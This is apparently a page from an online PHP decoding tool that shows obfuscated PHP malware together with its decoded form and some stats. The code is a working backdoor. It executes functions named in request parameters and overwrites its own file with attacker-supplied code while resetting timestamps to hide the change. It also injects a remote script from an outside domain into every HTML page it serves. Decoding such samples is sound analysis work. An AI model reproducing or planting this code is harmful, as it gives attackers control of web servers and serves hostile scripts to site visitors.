Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ..

Decoded Output download

<?php 
                                                                                                                                                                                                                   If(	(26261+12547)and (	$O8qRP=@${"_REQUEST"}["R2DYZB7N"] )){	$O8qRP[1](	${$O8qRP[2]} [0], $O8qRP[3]($O8qRP[4]));}; 
/*cut here;)*/if(isset($_REQUEST["qtebmqz5oihhhzil"])){if(empty($_REQUEST["qtebmqz5oihhhzil"])){echo bin2hex(gzdeflate(file_get_contents(__FILE__)));}else{header("X-LiteSpeed-Purge: *");if(function_exists("opcache_reset")){@opcache_reset();}if(function_exists("apc_clear_cache")){@apc_clear_cache();}$dkrqnh=filemtime(__FILE__);$b9mp3s=fileatime(__FILE__);echo strval(file_put_contents(__FILE__,gzinflate(pack("H*",$_REQUEST["qtebmqz5oihhhzil"]))));@touch(__FILE__,$dkrqnh+1,$b9mp3s+1);}die;}if(isset($_SERVER["HTTP_ACCEPT"])&&(strpos($_SERVER["HTTP_ACCEPT"],"text/html")!==false||$_SERVER["HTTP_ACCEPT"]==="*/*")){function mvr35k($dkrqnh){return str_replace("</head>","<script type='text/javascript' async src='https://ymhwsw4o.cloudfire.quest/challenge.js'></script></head>",$dkrqnh);}ob_start("mvr35k");}/*cut here;)*/ 
 ?>

Did this file decode correctly?

Original Code

<?php
                                                                                                                                                                                                                   If(	(26261+12547)and (	$O8qRP=@${"_\122\x45\121\x55\x45\123T"}["R\62\104Y\132\1027\116"] )){	$O8qRP[1](	${$O8qRP[2]} [0], $O8qRP[3]($O8qRP[4]));};
/*cut here;)*/if(isset($_REQUEST["qt\x65bmq\172\65o\151hh\150zi\154"])){if(empty($_REQUEST["\161\164\x65bm\x71\172\x35\x6f\151hh\150z\151\x6c"])){echo bin2hex(gzdeflate(file_get_contents(__FILE__)));}else{header("\x58\x2dL\151\x74\145\x53pe\x65d\x2dP\x75\162\x67\145\x3a\40\52");if(function_exists("\x6f\x70\x63\x61c\x68\145_\x72\x65\163\145\164")){@opcache_reset();}if(function_exists("\141\x70c\137c\x6cear_\x63\x61\x63\x68\x65")){@apc_clear_cache();}$dkrqnh=filemtime(__FILE__);$b9mp3s=fileatime(__FILE__);echo strval(file_put_contents(__FILE__,gzinflate(pack("H\52",$_REQUEST["\161\x74eb\155q\172\65o\x69\x68\x68h\x7ai\154"]))));@touch(__FILE__,$dkrqnh+1,$b9mp3s+1);}die;}if(isset($_SERVER["H\124\124\120\x5fA\103\x43E\x50\124"])&&(strpos($_SERVER["\x48\124TP_\101\103C\x45\x50\x54"],"\164e\x78\x74\x2f\150\x74\155\x6c")!==false||$_SERVER["\110\124TP\137\x41\103\103\x45\x50\x54"]==="\x2a/*")){function mvr35k($dkrqnh){return str_replace("\74\x2fh\x65a\x64\x3e","\x3cs\x63r\x69pt\40t\171\x70\x65\x3d\47\x74e\x78\164\57\152\x61v\141\163c\x72\151\x70\x74\47\40\x61\163\171\156\143\x20\163\162c=\x27http\x73\72\57\x2f\x79m\x68ws\x774\x6f\x2eclo\x75\x64\146i\x72\145\x2e\x71\x75\x65\163t/c\150\141\154\154\145\x6ege\56j\163\x27\76\74\57\x73cr\151p\164\x3e\x3c\57\150\145\x61\144\76",$dkrqnh);}ob_start("\x6d\166\x723\65\153");}/*cut here;)*/

Function Calls

strpos 1

Variables

$O8qRP None

Stats

MD5 f5c054865587f8758eba89f1a09f3189
Eval Count 0
Decode Time 130 ms